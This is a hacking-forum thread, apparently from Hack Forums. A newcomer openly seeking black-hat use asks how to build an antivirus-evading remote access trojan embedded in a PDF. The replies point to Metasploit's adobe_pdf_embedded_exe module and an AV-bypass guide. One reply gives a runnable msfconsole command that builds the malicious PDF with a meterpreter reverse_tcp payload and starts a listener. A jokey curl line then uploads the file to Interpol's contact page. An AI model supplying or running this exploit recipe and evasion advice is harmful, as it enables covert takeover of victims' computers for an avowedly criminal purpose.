

Forum:[Hack Forums](#)

Thread: [SUD RAT TOOL for windows on kali linux](#)

RED42 - May 26, 2026, 4:24 am

How do i go about creating a fully undetectable (by windows defender, mc affee, ect) Remote Access Trojan imbedded in a .pdf file on kali linux? i need to get a picture on how i could do this using the tools possible on kali linux because i am very confused, searching online came up with no useful results because either the malware was too easy to detect or part were intentionally left out of the process in order to obfuscate the malicious intent, i am VERY new to hacking and wish to become a Black Hat hacker, so yes i am using this for malicious intent i may not be using the correct language but please do not pounce on it??

0101010111100010000 - May 26, 2026, 7:15 am

(May 26, 2026 04:24 AM)RED42 Wrote: [\[CITE\]](#) How do i go about creating a fully undetectable (by windows defender, mc affee, ect) Remote Access Trojan imbedded in a .pdf file on kali linux? i need to get a picture on how i could do this using the tools possible on kali linux because i am very confused, searching online came up with no useful results because either the malware was too easy to detect or part were intentionally left out of the process in order to obfuscate the malicious intent, i am VERY new to hacking and wish to become a Black Hat hacker, so yes i am using this for malicious intent i may not be using the correct language but please do not pounce on it??

Hey,

I'm writing as someone in a similar skill level to you. Most open source RATs are either fully or at least partially detected by most av. Have a look at metasploit, I believe it is in the adobe_pdf_embedded_exe exploit module, where you can embed a RAT or Meterpreter. //I have been informed that the odds of successfully running that particular exploit are not very beneficial. //However, this on its own will almost certainly not be FUD, as the standard embedded payloads are highly signed. You might have to play round with the payload a bit. Here is a website that could help, it talks about ways you can lower detection and stuff, not sure if it is entirely relevant though?

<https://www.ired.team/offensive-security/defense-evasion/av-bypass-with-metasploit-templates>

DramaKing - May 26, 2026, 9:10 am

(May 26, 2026 04:24 AM)RED42 Wrote: [\[CITE\]](#) How do i go about creating a fully undetectable (by windows defender, mc affee, ect) Remote Access Trojan imbedded in a .pdf file on kali linux? i need to get a picture on how i could do this using the tools possible on kali linux because i am very confused, searching online came up with no useful results because either the malware was too easy to detect or part were intentionally left out of the process in order to obfuscate the malicious intent, i am VERY new to hacking and wish to become a Black Hat hacker, so yes i am using this for malicious intent i may not be using the correct language but please do not pounce on it??

```
Code IPADDRESS=$(dig -4 +short myip.opendns.com @resolver1.opendns.com)
NIC=$(ip r show via default | cut -d " " -f3)
msfconsole -x "[use exploit/windows/fileformat/adobe_pdf_embedded_exe; set payload windows/x64/meterpreter/reverse_tcp; set LHOST $IPADDRESS; set LPORT 4444; exploit; use exploit/multi/handler; set LHOST $NIC; set LPORT 4444; run]"
curl -F "file=@~/.msf6/local/evil.pdf" -A "Mozilla/5.0 (RED42) BlackHat/0.1"
https://www.interpol.int/Contacts/Contact-INTERPOL
```

0101010111100010000 - May 26, 2026, 9:31 am

(May 26, 2026 09:10 AM)DramaKing Wrote: [\[CITE\]](#) Code IPADDRESS=\$(dig -4 +short

myip.opendns.com @resolver1.opendns.com)

NIC=\$(ip r show via default | cut -d " " -f3)

msfconsole -x "[use exploit/windows/fileformat/adobe_pdf_embedded_exe; set payload windows/x64/meterpreter/reverse_tcp; set LHOST \$IPADDRESS; set LPORT 4444; exploit; use exploit/multi/handler; set LHOST \$NIC; set LPORT 4444; run]"

curl -F "file=@~/msf6/local/evil.pdf" -A "Mozilla/5.0 (RED42) BlackHat/0.1"

<https://www.interpol.int/Contacts/Contact-INTERPOL>

This is the definition of silent and stealthy?